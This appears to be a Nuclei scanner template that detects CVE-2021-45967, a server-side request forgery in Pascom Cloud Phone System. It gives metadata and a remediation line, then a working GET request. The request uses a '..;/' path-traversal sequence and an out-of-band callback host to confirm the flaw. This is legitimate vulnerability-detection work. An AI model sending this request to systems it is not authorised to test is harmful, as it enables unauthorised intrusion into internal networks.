id: CVE-2021-45967
info:
name: Pascom CPS Server-Side Request Forgery
author: dwisiswant0
severity: critical
description: Pascom versions before 7.20 packaged with Cloud Phone System contain a known server-side request forgery vulnerability.
remediation: |
Apply the latest security patches or updates provided by Pascom to fix the Server-Side Request Forgery vulnerability (CVE-2021-45967).
reference:
- https://kerbit.io/research/read/blog/4
- https://www.pascom.net/doc/en/release-notes/
- https://tutorialboy24.blogspot.com/2022/03/the-story-of-3-bugs-that-lead-to.html
- https://www.pascom.net/doc/en/release-notes/pascom19/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-45967
cwe-id: CWE-22
epss-score: 0.73933
epss-percentile: 0.97814
cpe: cpe:2.3:a:pascom_cloud_phone_system:*:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: pascom_cloud_phone_system
tags: cve,cve2021,pascom,ssrf
http:
- method: GET
path:
- "{{BaseURL}}/services/pluginscript/..;/..;/..;/getFavicon?host={{interactsh-url}}"
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
- type: status
status:
- 200
# digest: 490a004630440220736ad7ba9cd0702307414abe78b0d18e6040b4c8cf196dc83220ad0c5288b83f02207d20002d55fc32f0052297d7ded57e40ef437d0dae015dd7ba87e90f2e5deeeb:922c64590222798bb761d5b6d8e72950
